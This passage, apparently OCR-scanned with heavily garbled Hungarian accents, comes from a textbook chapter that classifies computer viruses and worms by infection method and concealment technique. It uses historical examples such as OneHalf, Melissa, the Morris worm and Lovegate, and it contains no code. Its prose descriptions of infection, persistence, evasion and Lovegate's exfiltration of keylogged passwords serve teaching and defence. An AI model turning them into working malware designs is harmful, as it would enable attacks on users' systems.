ad, hiszen a bootoldsi folyamat védelme mellett tovabbra is megmarad a lemezes
adatatvitel lehetOsége, és az egyszeri bedllitds utdn nem a felhasznél6tdl fiigg a
védelem alkalmazdsa.

» Az operaciés rendszer EPROM-bdl vagy CD-rdl val6 inditdsa fertozhetetlenné teszi a
rendszert, de a megoldds munka- és eszkozigényes, a hardverbdvitések utidn uj
bootprogramot kell késziteni. Ez nehézkessé és bizonytalanna teszi a rendszert.

A bootvirusoknak egy egyedi alfajat képviseli a OneHalf virus és néhdny hozza
hasonl6 technikdt alkalmaz6 két- vagy tobbtamaddsponti kértevd. Nevezetesen a OneHalf a
merevlemezen az MBR (Master Boot Record) rekordot, a hajlékonylemezeken pedig a .COM
és .EXE kiterjesztésti dllomédnyokat fertézi. Az MBR valtozasat ugy ,titkolja el”, hogy a
valtozasfigyeloknek az eredeti MBR-t mutatja. A virus nevét onnan kapta, hogy minden
rendszerinditdskor két cilindert lekddol, igy szépen lassan a merevlemezen egyre kevesebb
felhaszndlhaté teriilet lesz. Amikor a lekddolt cilinderek 4ltal lefedett teriilet eléri a
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merevlemez kapacitdsanak felét, a kovetkezo iizenetet irja ki a képernyére: ,,Dis is one half”.
A masik ,,0rokbecsti” bootvirusunk, mely a maga idejében hatalmas riadalmat okozott
szamitégépes korokben, a Michelangelo. Kevés volt az olyan ember, aki legaldbb a nevével
ne taldlkozott volna j6 par alkalommal. A virus a winchester particids tablajat fertdzte meg.
Miutdn megfertézte a merevlemezt, a particidés tablat a 0. cilinder 0. oldal 7. szektorara
masolja, Onmagat pedig a tdbla eredeti helyére. Az INTI13 megszakitis bedllitasdval
elindittatja 6onmagat minden rendszerinditaskor, s ezutdn természetesen az eredeti particiés
tdblat is lefuttatja. A virus a destruktiv fajtdk kozé tartozik, ugyanis mércius 6-4n a virust
tartalmazé meghajto els6 négy fejének elsé 17 szektorat a virus étirja, igy az adott megha;jtéd
haszndlhatatlanna vélik, ugyanis minden informéci6 torlddik réla.

5.1.2. Fajlvirusok

A fajlfert6z0 virusok olyan programok, amelyek vezérléshez jutva megkeresik a
floppykon ¢és merevlemezeken, valamint a hdl6zati meghajtékon az arra alkalmas
programféjlokat és azok kddjdhoz valamilyen mdédon hozzéflizik sajat programkddjukat. A
hozzaftizés torténhet a meglévd tartalom feliilirdsdval vagy a viruskdéd hozzaird jellegt
beszurasdval. Ez utébbi esetben a fertdzott fajl mérete megvaltozik, megnd a viruskddot
tartalmazé résszel. Mindkét esetben a virus elhelyez a programféjl elején egy ugrd utasitést,
amely a programinditist kovetden a virusprogramnak adja 4t a vezérlést. A viruskod végére
keriill az wugréutasitds, amely a program eredeti belépOhelyére ugrik és dtadja a
gazdaprogramnak a vezérlést.

A viruskdéd a programfdjlon beliil tobb helyre is keriilhet. Az egyik alkalmazott
virustechnika a fert6zott f4jl elejéhez flizi hozz4a a viruskddot (példaul a Péntek 13), egy masik
technika a programfijl végén helyezi el a viruskddot, egy harmadik technika pedig a
programfdjl belsejében keres egy arra megfeleld teriiletet.

A féjlvirusok egyik kis létszamu alfaja a Companion, azaz tars-virusok csoportja,
amelyek egyetlen bdjttal sem véltoztatjdk meg az eredeti programot, csupan a kiszemelt . EXE
mellé masoljdk a kddjukat egy .COM Kkiterjesztésli fajlba. A fertdzott program inditdsakor
el0szor a viruskddot tartalmazé .COM Kkiterjesztésii programfajl toltddik be a memdridba, és
csak ezutdn kovetkezik az eredeti programfdjl inditdsa. Milkodésiikhoz a CEB szabalyt
haszndljék fel, azaz hogy ha azonos nevii .COM , .EXE és .BAT Kkiterjesztésti fajlokat kell
inditani anélkiil, hogy megadnank a Kkiterjesztést, akkor az operacids rendszer ebben a
preferencia sorrendben inditja ket. Jellegzetes képviseldje e programtipusnak a Shadowguard
néven nyilvantartott kartevo.

A fajlfert6zo virusok egyediilallé képviseldje a Dir2/FAT néven elhiresiilt kartevd. E
virus, tarsai tobbségétdl eltéréen és a companion virusokhoz hasonléan, nem mddositja
egyetlen bajttal sem a megfertdzott fajlokat. A FAT tipusi virus mindossze egy példanyban
rakja fel magét a lemezre, annak egy tetszdleges clusterébe. Minden végrehajthatd fertdzott
fajl kezd6 clusterszamat a katalégusjegyzékben atirdnyitja magdara, a tovabbi FAT ldncolést
koédolja. Ha elinditunk egy fert6zott fajlt, akkor a clusterszam 4taddsa miatt a virus indul el.
Ennek volt koszonhetd, hogy 1990-ben vildgszerte az egyik legelterjedtebb virus a DIR2/FAT
volt. Tulajdonképpen a FAT-virus — elnevezésétdl eltérden — nem a FAT-et fertdzi meg,
hanem a konyvtarbejegyzést. A FAT elnevezés inkdbb arra utal, hogy a FAT-lanc szervezését
hasznélja ki.
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5.1.3. Makrovirusok

Egyes szakértok mar kordbban is megjdsoltdk, hogy eldbb-utobb meg fognak jelenni
olyan virusprogramok, amelyek nem az operédcids rendszerre telepiilnek majd, hanem maés
kornyezetet hasznositanak miikodésiikhoz és tovabbterjedésiikhoz, példaul a Microsoft Office
programcsomagok belsd programozdsidban alkalmazott makrényelveket. Az élet sajnos Oket
igazolta, 1995 augusztusdban fel is bukkant az els0 makrovirus (a WM/Concept), amely a
WinWord 6 makrényelvére épiilve Word dokumentumokat fertézott. Az els6t hamarosan
kovették a tobbiek és egy év alatt mar 50 folé emelkedett a szdmuk. A Word utdn az Excel
volt a kovetkezd rendszer, amelyet elért a fertézés. Az MS Office 97 megjelenésével a
programok makrényelve egységes lett, s ezt kihaszndlva a viruskészitOk elkészitették az elso
PowerPoint és Access dokumentumokban is terjedd makrévirusokat. A kartevOknek ezen
csoportja nem mads, mint specidlis interpreteres virusok, amelyeknek miikddése az, hogy a
fertézott dokumentumban egy makrét helyeznek el, ami valamilyen mivelet(ek)
végrehajtdsdra veszi rd a programot, s ezdltal kisebb-nagyobb kdrokat okoz a rendszerben
vagy az alkalmazdsban.

A Microsoft Wordben haszndlatosak az tgynevezett automakrok, amelyek neviikbdl is
adédoan automatikusan képesek végrehajtddni. Ezek végrehajtasat természetesen letilthatjuk.
Ilyen automakré példaul az AutoOpen vagy az AutoClose amely a dokumentum
megnyitdsakor, illetve bezarasakor hajtédik végre. Ez tokéletes taptalaj egy virus futtatdsahoz.
Hasonl6 biztonsagi rést nyit az is, ha a makréprogramot a rendszer a dokumentumféjlon beliil
tarolja, vagy ha a makrényelvet f4jlmuveletek elvégzésére is felkészitették. A makrévirusok
ma mir nem feltétleniil kotédnek egyetlen Office alkalmazdshoz, és szdmtalan olyan
valtozattal taldlkozhatunk, amelyek kiillonbozé kombinacidkban képesek megfertézni a Word,
az Excel, a PowerPoint és az Access dokumentumfdjljait. Az els6, vildgméretekben is
elterjedt virus a Corner volt. Kart nem okozott, a Word (.DOC) és Project (MPP) dlloméanyok
segitségével terjedt. A kddban a kovetkezd megjegyzés taldlhato:

I never realized the lenghts I'd have to go
All the darkest corners of a sense

I didn’t know

Just for one moment

Hearing someone call

Looked beyond the day in hand

There’s nothing there at all
Project98/Word97-2k Closer

Amikor a felhaszndlé megnyit egy fertdzott dokumentumot Wordben, a virus
ellenérzi, hogy fut-e a Microsoft Project. Ha igen, akkor megfertézi. A virusnak a Word
dokumentumban taldlhaté része a fertdzott dokumentum bezardsakor fertdz. A biztonsagi
bedllitdsokat a legalacsonyabbra dllitja, letiltja a Tools/Macros meniit, és kikapcsolja a
makrévirusok elleni védelmet. Ezen kiviil az 6sszes megnyitott dokumentumot megfertézi. A
dokumentumok megfert6zéséhez a virus a globdlis sablon ThisDocument osztdlymoduljidba
helyezi el magit. A virus a Word 2000-ben csak akkor képes fertdzni, ha a felhasznal6 a
biztonsagi bedllitisokat kozepesre vagy alacsonyra dllitotta be. A Microsoft Project
megfertdzéséhez a virus egy uj lires projectet hoz létre, kodjat pedig a ThisProject
osztdlymodulba helyezi el. Ha virussal fert6zott Project 98 dokumentumot nyitunk meg,
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akkor a virus akkor is képes megfertézni a Word alkalmazast, ha az éppen nem fut. A virus
Project alatti része nem rezidens, deaktivalaskor terjed.

A vildgban taldn a legnagyobb ardnyban elterjedt makrdévirus. Rengeteg média
foglalkozott vele. 1999. mércius 26-4an fedezték fel elsé példanyat az alt.sex hircsoportban, rd
egy hétre mar el is fogtdk a virus irdjat. A virus hatdsdra tobb multicég, koztiikk a Microsoft
levelezési rendszere is ledllt. A Melissa Outlook 98 vagy Outlook 2000 levelezOprogramok
hasznalatdval terjedt, és Word 97, illetve Word 2000 dokumentumokat fertézott meg.
Szerkezetét tekintve egy igen egyszerli, VBA nyelven irt, egyetlen makrot tartalmazoé virus.

Ez a makré Document Open szubrutin. Ennek hatdsara, egy fert6zott dokumentum
megnyitdsakor a viruskdd azonnal lefut. A virus ezek utdn az outlook levelezOprogram
cimlistdjaban taldlhaté els6 50 cimre elkiildi sajat magat ,Important message from...”
targgyal, a levélben pedig ,,Here is that document you asked for...” kezdettel, csatolva egy
fertozott dokumentumot. Ennek megtorténte utdn Dbedllitja a Registryben a
,HKEY_CURRENT_USER\Software\Office\Melissa?” bejegyzést, melybol késdbb latni
fogja, hogy tobb levelet nem kell kiildenie. A dokumentumokat nagyon egyszeriien fertzi
meg, beirja magat a normdl sablonba, igy minden ujonnan elkészitett dokumentumot
automatikusan megfertéz. Ha a virus futdsakor a nap sorszdma megegyezik a percek
sorszamaval, az alabbi szoveget flizi a megnyitott dokumentumhoz:

,» Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.

Game’s over. I’'m outta here.”

5.1.4. Scriptvirusok

A scriptvirusok két f6 csoportjaval érdemes foglalkozni, a VBScript (VisualBasic) és a
JavaScript kartevokkel. Az elektronikus levelez6 rendszeren keresztiil csatolt dllomanyként, a
levéltorzsbe bedgyazva, floppy és egyéb adathordozé lemezen, helyi halézatrél vagy akér
weboldalakrdl is érkezhetnek. A VBScripteknek csak néhdny képviseldje képes igazi virus
tipusu fertozésre, azaz amikor az eredeti programkod érintetlen és mitkodoképes marad, igy
inkdbb a férgekhez sorolhatéak. Kiilonféle kiterjesztések mogé képesek rejtézkodni, mint
példaul VBS, WSH, CSS, HTM, HTA és igy tovabb. Gyakran eldéfordul az is, hogy kettds
kiterjesztést haszndlnak. A VBScript programok futtatdsar6l az Internet Explorerrel telepiild
Windows Scripting Host (WSH) nevii programértelmezé gondoskodik. A scriptvirusok
gyengeségeihez sorolhat6, hogy mukodésiik script-értelmezohoz kotddik, igy egy olyan
gépen, ahol ez nincs telepitve, hatdstalanok. Legismertebb VisualBasic kartevok:
VBS/BubbleBoy, VBS/HTML.1nternal, VBS/LoveLetter.

A JavaScript nyelvet weblapok script betéteiben haszndljak. Virusvédelmi
szempontb6l mar sokkal biztonsigosabb nyelv, tilsdgosan korldtozott kdrnyezet a virusok
irdsdhoz. Ennek ellenére nem lehetetlen, mint ahogy az aldbbi kartevok is bizonyitjak:
JS/Congrats, JS/CoolSite, JS/Gigger, JS/Kak, JS/Seeker, JS/Unicle.

5.2. A virusok rejtézkodes eszkézei szerinti osztalyozasa
Erdemes a virusokat az alkalmazott rejtézkodési technikdk —szerint is
megkiilonboztetni, mivel az elleniik kialakitand6 védekezés hatékonysdga és megbizhatosdga

nagymértékben fiigg att6l, hogy képesek vagyunk-e megtaldlni és inaktivalni, majd
elpusztitani a rendszerbe behatol6 programkartevoket.
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A virusok rejtézkodési, védekezési technikdinak tobb szintje van. A legalsé szint nem
alkalmaz aktiv technikdkat, csak passziv rejtdzkodési eszkdzoket. Ide sorolhatd, hogy a
virusok megvélogatjdk tdmaddspontjaikat, nem maradnak tartésan a memdridban, nem
modositjdk a megtdamadott programféjlok tartalmét (FAT-fert6z0k és Companion virusok)
vagy méretét (feliilir6 virusok, ,,Cavity-fert6zok™).

A madsodik szintet az jelenti, hogy a memdridba keriild bootvirusok elfedik
jelenlétiiket a merev- és floppy lemezeken. Ez azonban kideriilhet, ha ellendrizni tudjuk
viruskeresdnkkel a memoriafoglaltsdgot is.

A harmadik szint az elkddolds, amely az azonosité sztringek haszndlatin alapul6
viruskeresok ellen rejti el a virusokat. A mutélé virusok a viruskddot egy rovid kicsomagold
rész kivételével fertdzésrol fertdzésre valtoztatjdk. Ennek a mddszernek az eldzményei kozé
sorolhatjuk a NOP technikdt. Ez nem automatizmus, ami magitél miikddik, hanem egy
programozasi triikk, amelyet arra hasznaltak, hogy a viruskédba véletlenszeriien semleges
utasitdsokat helyeznek el, amellyel olyan 4j virus mutdcidkat lehet 1étrehozni, amelyeket a
keresd, illetve virusellendr programok nem taldlnak meg, ha csak virusazonosité sztringekkel
dolgoznak. A tipus lefejlettebb tagjai a polimorf virusok, amelyek oly hatékony elkddoldst
alkalmaznak, hogy a viruskédnak csupdn két vagy harom bdjtnyi szakasza marad két fert6zés
kozott azonos.

,Legjobb védekezés a tdmaddas” — valljdk ezt a negyedik szint tagjai, amelyek
megprobaljak  kikapcsolni  vagy program- és adatfdjljaik tOnkretételével, torlésével
futasképtelenné tenni a virusvédelmeket. Ilyeneket a féjlfert6z6 és a makrévirusok kozott
egyarant talalunk.

A f6bb tipusok a kovetkezok:

5.2.1. Feliliro virusok

A primitivebb (és dltaldban kisebb méretii) virusok kozott sok olyan van, amely —
éppen a mindendron valé méretcsokkentés érdekében — nem foglalkozik azzal, hogy a
megfertzott program milkodOképességét és teljes funkcionalitisdit megdrizze, hanem
egyszeriien sajat kodjaval atirja a megfertdzott programok kddjanak egy részét.

Az 1980-as évek végén és az 1990-es évek elején a viruskészitOk abban is vetélkedtek,
hogy ki tudja a legrovidebb viruskédot 1étrehozni. E vetélkedd eredménye az a tobb szdz aprd,
100 b4ajtnal rovidebb virusprogram, melyben csak a célpont keresésének és a fert6zo
rutinoknak volt hely. A legrovidebb ismert viruskéd mindossze 25 bajt(!) hosszu. Ha ilyen
virus fert6zi meg programjainkat, nincs esély a sériilés automatikus helyreallitdsara. Az
egyetlen lehetdség a fertdzott fajlok torlése (a viruseltavolitd programok is ezt kindljak fel,
illetve végzik el) és ujratelepitése az eredeti telepitd csomagokrdl, vagy visszatelepitése a
fertdzés elott készitett biztonsagi méasolatokbol.

5.2.2. Append (hozzaird) virusok

A fejlettebb virustipusok épp rejtézésiik érdekében igyekeznek megdrizni a fertdzott
programok funkcionalitdsidt. Ennek érdekében harom modositast végeznek a megfertozott
programféjlok kodjaban. A virus — fajtatél fiiggden a fajl végére, elejére vagy valahova
kozépre — beszirja viruskdd szekvencidit a programkdédba. Mdsodik 1épésként a virus
modositja a program legelején azt az ugrdutasitast, amely a program tényleges inditdsanak
elsO 1épése. Ide egy olyan bejegyzés keriil, amely a virusprogramnak adja 4t a vezérlést.
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Végiil a viruskdod végére keriil egy olyan utasitds, amely a program eredeti belépési cimére
mutat.

Az append technikdval fert6z6 virusok — ha a programkddban, illetve a fajlrendszerben és
konyvtarstruktirdban nem okoznak helyrehozhatatlan kdrokat — nyom nélkiil eltavolithatok a
fertdzott programokbdl. A viruseltavolité programok kétféle megkozelitéssel is dolgozhatnak.
Az egyik lényege abban 4ll, hogy a virus egyértelmli beazonositisa utdn a program
adatbazisdban levd adatoknak megfeleléen a virusirté program a fert6zott fajlbol sebészi
pontossdggal kivdgja a viruskddot és visszairja a program elején az eredeti inditéutasitas
cimét. A moédszer gyengéje, hogy léteznek olyan virus mutédcidk, atiratok, amelyek csak
hosszukban kiilonboznek. Ha a viruseltavolité program ilyennel taldlkozik, hibasan végzi el a
viruskdd kimetszését, s a virusmentesitett gazdaprogram — bar virusmentes lesz — tovabbra is
sériilt marad, hibdsan miikodik. A masodik megkozelités abban 4ll, hogy a fertdzés
elemzésével a program helyben végzi el a virus azonositdsit és pontos méretének
meghatdrozasit. Ez hatékonyabban miikodik, mint az elsé megkozelités, mivel a
virusvaridnsokat is megfelelden kezeli. Hatrdnya, hogy fejlettebb programozastechnikai
ismereteket igényel és lassitja a viruskeresést és -mentesitést.

5.2.3. Virusatiratok, mutalé virusok, polimorf virusok

Az egyik legrégebbi virusazonosité eljards azon alapul, hogy olyan kddsorozatokat
keresnek a fert6zott programféjlokban (virusazonosité sztring), amelyek nem taldlhatok meg
kozonséges programokban, csak viruskédban és csak egyetlen, szdzszdzalékosan
beazonosithaté virusra jellemzdek. Ez a médszer természetesen a viruskészitok eldtt is ismert,
igy el0szor virusatiratokat kezdtek el gyértani, majd elemezve a viruskeresok virusazonosito-
sztring adatbézisait, sorozatban késziiltek az olyan virusétiratok, amelyeket a statikus és/vagy
nem kelléen pontos adatbézist alkalmazé viruskeres6k nem vagy tévesen azonositottak. A
kovetkezd technologiai 1épés az volt, hogy a viruskészitok tobbféle muticids technikat is
kidolgoztak, amelyekkel fertozésrol-fertdzésre a virus maga atkédolta a mikodoképesség
megtartdsdval a viruskod egy részét, vagy egészét. Ez a technika egy ideig kétségessé tette
azt, hogy valaha is lehetséges lesz-e hatékony viruskeresd programot késziteni, am idével a
virusvadaszok rdjottek gyenge pontjaira.

A polimorfizmus ,,csticsat” azok a virusok jelentik, amelyek kddjdban csak 2-3 bajt
marad azonos két fertdzés kozott. Az ilyenek ellen természetszerlien nem lehet hatékony az
azonosité sztringes keresés, igy Uj megkozelitések utdn kellett nézni. A megoldast a
heurisztikus mddszerek alkalmazasa jelentette. A heurisztikus viruskeresés azon alapszik,
hogy a virusnak szaporoddsdhoz néhany olyan alapvetd funkciot kell végeznie, amelyeket egy
normdlis, nem virus jellegli program nem végez (példaul programfédjlba vagy bootszektorba
ir). Természetesen megfeleld ellendrzések utdn lehet csak egy programot virusfertdzottnek
minositeni, azonban ez a technika lehet6vé teszi az ismeretlen virusok okozta fertd6zések
azonositdsat is. Ezen virusoknak van meg a lehetdségiik arra, hogy a természetben
megtaldlhatd virusokhoz hasonléan mutédlédjanak, vagyis kiillonboz6 varidnsokban jelenjenek
meg. Es mint ahogy ez a természetben is igaz, amelyik médszerrel az egyik varidnst sikeriil
kiirtanunk, az alkalmatlan a madsikkal szemben, igy ) moddszert kell kitaldlnunk. Egyes
virusokba mar olyan szubrutint is irnak a szerzok, amelyek kifejezetten ezt a mutaciot segitik
eld. Az, hogy egy virus esetében a muticid minek a hatdsdra, milyen mdédon és milyen
gyorsan megy végbe, nagyon valtozatos lehet.
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5.2.4. Companion (CEB) virusok

A Companion virusok egyetlen bdjttal sem moddositjdk a megfertézott .EXE
programokat, hanem a program mellé azonos névvel, de .COM Kkiterjesztéssel elhelyezik egy
masik programfdjlban a virus kédjat. Mivel a DOS és a DOS kompatibilis rendszerek
névazonossag esetén elobb a .COM fijlokat inditjdk, a virus lehetdséget kap a memoridba
keriilésre €s a vezérlés megszerzésére. Miutan a viruskod végrehajtdsra keriilt, a virus az
eredeti, .EXE Kkiterjesztésti programot is elinditja. A Companion virusok irtdsa egyszerd,
csupdn torolni kell a fert6zott programok mellett 1€vo, a viruskddot tartalmazé .COM fijlokat.

5.2.5. Dropperek (pottyantdk)

A rosszindulatd programok egy specidlis fajtdja a droppereké. Ezek a tréjai jellegli
programok neviiket onnan kaptdk, hogy inditdsuk utdn ondlléan szaporodd virusokat, trdjai
programokat, programférgeket vagy egyéb rosszindulati programokat juttatnak a
megtamadott gép memoridjaba, illetve mereviemezére. A dropperek maguk nem szaporodnak,
azért veszélyesek, mert a benniik lapul6 viruskddot kddolva téroljdk, igy a viruskeresok elott
az rejtve maradhat. Sok esetben a virusfejlesztok droppereket alkalmazva juttatjdk dj virusaik
els6 példanyait a nyilvdnos hozzaférésli programgylijteményekbe.

5.2.6. Virusgyarto kitek

A hagyomanyos f4jlfertdz6 vagy bootvirusok készit€se komoly szakértelmet,
programozdi tudast (tobbnyire az Assembler, Pascal vagy a C/C++ nyelv ismerete) kovetelt a
virusir6tdl. A virus forraskddok hozzéaférhetové véldsaval azonban megndétt azon 4tiratok
szama, amelyek az eredeti virustél a virusmiikodést tekintve csak Iényegtelen, a
viruseltavolitast illetden azonban jelentdés mértékben kiilonboztek, s melyek készitéséhez nem
kellett komoly szakmai tudds. Az 1980-as évek végén kezdtek megjelenni a kiilénbozo
virusgyart6 készletek, kitek, amelyeket barki hasznalhat programozoéi tudds nélkiil is. Nincs
nehéz dolga annak, aki ezekkel prébal fejleszteni. Par kattintds az egérrel, majd be kell irni az
tizenet szovegeket, ki kell vdlasztani a célpont tipusit, a fertdzés és pusztitds feltételeit. A
virusfejleszto kitek elore elkészitett modulokbdl rakjdk Ossze a kit kezeldje dltal kivélasztott
elemeket, és lehetdséget adnak iizenetek, képek, hangfijlok elhelyezésére a frissen
kialakitand6 viruskddban. Ilyen fejlesztd kiteket nem csupdn bindris kodot tartalmazé féjl- és
bootfertdz6 virusok készitésére alakitottak ki, hanem makrévirusok, sot scriptvirusok
fejlesztésére is. Nem meglepd hat, hogy e kitek megjelenése utdn a virusok szdmanak
ugrasszerli novekedését figyelhettik meg. A legaktivabbak ezen a téren a német virusird
csoportok voltak. A viruseltavolitast €s a virusok okozta kdrok helyredllitasat jelentGsen
megnehezitik az ilyen programkartevok. A nagyszamu varidnsok miatt ugyanis roppant nehéz
szazszéazalékos biztonsaggal beazonositani, melyik mutécidt is kell eltavolitani a fertdzott
fajlokbol.

5.2.7. Multitarget (tobbcélpontu) virusok

A virusok szaporodasdnak, terjedésének hatékonysigat noveli, ha a virus tobb helyre
is betelepedhet, valamint a visszafertozodés esélyeit is noveli, ha rejtett helyekrdl is
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elobukkanhat. Egy jellegzetes példa a multitarget virusokra a Szlovakiabdl szarmazé OneHalf
virus, amely amellett, hogy programfijlokat fertéz, a megtdmadott szdmitégépek
merevlemezének bootszektordba is beiil. Hidba irtjdk ki a virust a bootszektorbdl €s a fert6zott

programok tobbségérdl, ha csak egyetlen masolata is érintetleniil marad, az hamar
visszafertzheti a rendszert. A makrévirusokndl is léteznek hasonlé megolddsok. Szamos
olyan makrdvirussal taldlkoztunk mér, amelyek egyarant fertéznek Word és Excel féjlokat,
sOt olyat is ismeriink (OM97/Triplicate), amely Word és Excel dokumentumokon kiviil
PowerPoint prezenticidkba is beiilnek. Az emlitetteknél nagyobb kiillonbségeket hidalnak at
azok a virusok, amelyek a makrovirusok és a bindris kédua fajlfert6z6- és bootvirusok kozott
teremtenek kapcsolatokat. Ilyen az orosz fejlesztok éltal készitett Anarchy.6093, ami egy
nagyon veszélyes memoria rezidens Osszetett virus. .COM, illetve .EXE 4lloméanyokat,
valamint a Word dokumentumokat fertézi. A futtathaté allomanyokba a ,hagyomdényos
médon” irja be magét; az dllomanyok végére. Dokumentum fert6zése soran moédositja a
dokumentum OLE?2 struktirgjat, a dokumentumot template formatumba konvertalja, valamint
egy AUTOOPEN makroét készit bele. Ide sorolhaték azok a Word dokumentumokat fert6zo
makrovirusok, amelyek dropperként a OneHalf vagy a CIH Adtiratait szorjdk el. A
WMO97/Melissa és tarsai amellett, hogy hagyoméanyos Word vagy Excel makrévirusként is
terjednek, a levelezo rendszert is felhaszndljdk a viruskdd terjesztésére. A tobbtdmadaspontd
virusok egy teljesen Uj tipusat képviseli a 2001 augusztusdban felbukkant W32/Nimda, amely
e-mail-ekben és weboldalakon keresztiil is terjedhet.

5.2.8. Kodolt virusok

A kodolt virusokra jellemzd, hogy a virus forrdskddja nem helyezkedik el ,,Jathat6an”
a fertézott allomanyban, hanem azt a virusba szintén beprogramozott dekdéderprogram
kibontja, értelmezi és végrehajtja. Ezaltal a virus nehezebben felismerhetd, rdaddsul a
viruskeresonek dekodolni kell a virus koédjat, hogy azt el tudja tdvolitani a fertézott
alloménybol.

5.2.9. Lopakodé virusok

A lopakodé virusok célja, hogy észrevétlenek maradjanak, s ezt tobbféle technikaval
érik el. Ezek a virusok fdleg boot szektor virusok voltak, igy ma mar nem nagyon taldlhatéak
meg ,,szabadon” legfeljebb csak néhany migylijtd tairhdzdban. Egyes virusok a f4jl méretének
manipuldldsaval érik el, hogy lathatatlanok maradjanak, ugyanis ha sajat koédjukat egy
allomanyhoz irjak, akkor annak mérete értelemszertien megnovekszik, és egy egyszerl
méretellendrzéssel kideriilhet, hogy melyek a fert6zott dllomanyaink. (természetesen csak
akkor, ha ismertiik az eredeti fajlméretet). A boot szektor virusok esetében a boot szektor
tartalmdnak megvaltozasa jelentheti a vesz€lyt, hogy esetleg megtalaljak a virust, igy az
operacios rendszert kell rdvenni arra, hogy ne jelentse a felhaszndlé felé a boot szektor
tartalmdnak megvaltozasat.

5.2.10. Visszafejtés elleni virusok

A visszafejtés elleni virusok igyekeznek olyan viruskddot el6allitani, amely
megneheziti vagy lehetetlenné teszi forraskddjuk visszafejtését. Ezt iires helyek beszirasaval,
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regiszterek atallitdsaval, megszakitasok iitemezésével érik el. A visszafejtésiik természetesen
nem lehetetlen, csak a csapddk miatt tobb 1d6t vesz igénybe.

5.3. Feérgek (wormok)

Annyiban kiilonboznek a virusoktél, hogy kédjukat nem a lemezek bootszektordba
vagy valamely mds program belsejébe épitik, hanem ©nall6 fajlban tartalmazzak, és ezt
madsolva sokszorozédnak. A szaporodds sordn természetesen modositjdk azokat a fajlokat is,
ahonnan programinditds lehetséges, igy ismeriink programférgeket, amelyek a CONFIG.SY S-
be épitik be indité parancsukat, vagy az AUTOEXEC.BAT-ba, a SYSTEM.INI-be, illetve
egyéb megfeleld fdjlokba, valamint a registry-be. A féreg célja, hogy minél tobb gépbe
bejusson, néhany komolyabb féreg pedig ennél tobb ,,gaztettet” is elkovet. Megbénitjdk a
halézati kommunikdacidt, informdaciét lopnak a szamitégépekrol. Az elektronikus levelezéssel
€s a hdlézatos alkalmazdasok elterjedésével a programférgeknek szamtalan 4j tipusa alakult ki,
napjainkban az esetek 90%-aban ezek a virusok okoznak hatalmas karokat, hiszen az e-mailek
remek tdptalajt nydjtanak az ilyen férgek terjedéséhez. A programférgek észlelése, felderitése
és milkodésének megakadédlyozdsa nem egyszerl feladat. A virusok esetén a kereséprogramok
a normalis programok anomalidit elemezve taldlnak rd a virusokra. Mivel a programférgek
nem modositjdk mds programféjlok kodjat, a detektdlds eszkozkészlete is szlikebb. Nincs
benniik olyan illegdlisnak tekintheté programfunkcié, mint amilyen az .EXE és .COM f4jlok
modositasa. Olyan programférget is ismeriink (példdul a 2001. jinius végén felbukkant, de
jarvanyszertien csak 2001. november végétdl terjedd6 W32/Aliz), amely nem ir bele a
Registry-be, nem menti el merevlemezre az alig 4 KB-os WHATEWER.EXE nevil csatolt
fajlban érkezd viruskddot, csak egyszeriien szaporodik, azaz elkiildi magit az Outlook
Inboxdban varakozd, még olvasatlan levelek feladdinak. Nem csoda hat, ha a lemezre irast
ellenérzd virusvédelmeken konnytiszerrel athatol.

Ma mar az ismert férgek hatalmas és szines palettdn helyezkednek el, ezért a
legnagyobb mértékben elterjedtek koziil ismertetek néhdnyat, valamint egyet a torténelmi
multbol.

» RTM Worm

A ,Nagy Internet Féreg” 1988. november 2-a4n indult utnak, tobb ezer gép
megfertdzésével szamitégéprendszereket bénitott meg. Mukodéséhez BSD 4.2 vagy
4.3 operdciés rendszer sziikséges. Terjedését hiromféle moddon biztositja. Elso
modszere az, hogy jelszavakat probal meg feltorni. Ehhez egy sajat crypt() rutinnal
rendelkezik, melynek segitségével a felhaszndlo nevébOl és egyéb szavakbol
jelszavakat készit, majd ezeket 6sszehasonlitja ezeket a jelszofijlban taldlhaté kodolt
jelszavakkal. A megtalalt jelszavak segitségével szomszédos gépekbe probal bejutni,
ahol a felhaszndléknak accountjuk van. A gépek cimeit a .forward és az .rhost
allomanyokbdl szerzi. Masodik mddszerként egy a finger démonban taldlhaté hibat
haszndl ki. Ennek hatdsdra buffer overflow hibat képes generdlni. Végiil, de nem
utolsé sorban a Sendmail levelezOprogramot haszndlta terjedéséhez, ugyanis a debug
parancs segitségével programot lehet futtatni a levelezdszervert futtatdé gépen. Ezt a
virus sajat kodjanak leforditasara haszndlja fel.

» [-Worm, Lovegate
Ez a féreg Kindbdl indult pusztité utjara 2003 februar 24-én, Lovegate.C nevii
viltozata gyorsan terjedt egész Azsidban. C++ nyelven frédott, kétféle terjedési
modszert alkalmaz, és beépitett backdoor komponenssel is rendelkezik. A féreg

30



elkaphaté fert6zott e-mail megnyitdsdval, vagy belsd hdlézaton keresztiil. Belso
halézatok esetén a Windows alatt megosztott mappdkban is képes terjedni. Ebben az
esetben sajat példanyait kiilonb6z6 fajlnevekben helyezi el a mappdkban: fun.exe,
humor.exe, docs.exe, midsong.exe, billgt.exe, card.exe, image.exe stb. A féreg 4ltal
elkiildott levelek kiilonb6z6 témdjiak lehetnek, példaul ,,Subject: Help Body: I'm
going crazy...please try to find the bug” vagy ,,Subject: Do not release Body: This is
the pack ;)”. Amikor a Lovegate megfert6zott egy gépet, sajat példanyait kiillonbozd
nevek alatt menti el a Windows rendszerkonyvtaraba: WinGate.exe, WinRpcsrv.exe,
syshelp.exe, winprc.exe. A registrybe torténd bejegyzés hatasara a fertdzott gépen a
féreg barmilyen szoveges dllomdny megtekintésekor lefut. Ezt a felhasznal6
természetesen nem veszi é€szre. A féreg a Windows 9x/Me operaciés rendszerek esetén
a WIN.INT konfiguracids allomanyt is modositja, s kiegésziti a [Windows] részben a
Run=rpcsrv.exe szoveggel. Ez szintén a virus rendszerinditaskor torténd lefuttatisat
szolgélja. Kovetkezd 1épésben a kdrokozo rutinjat a rendszerkonyvtarba madsolja
ily.dll, task.dll, reg.dll néven. Ezen programrészeknek un. keylogger funkciéjuk van,
melynek segitségével képes a begépelt adatok mentésére, sét fajlokban is kutat
jelszavak utan. Ezeket az Osszegytijtott adatokat a féreg a win32pwd.sys, valamint a
win32add.sys allomanyokban téarolja, majd SMTP vagy tr6jai program modban
eljuttatja a féreg iréjanak a hello_dll@163.com vagy a hacker117@163.com cimre. A
trdjai izemmod portszdma 10168 TCP, a féreg sajat e-mail-kiildd rutinja altal hasznalt
levelezOszerver cime smtp.163.com. Ez a mailszerver egy SPAM levelek kiildésével
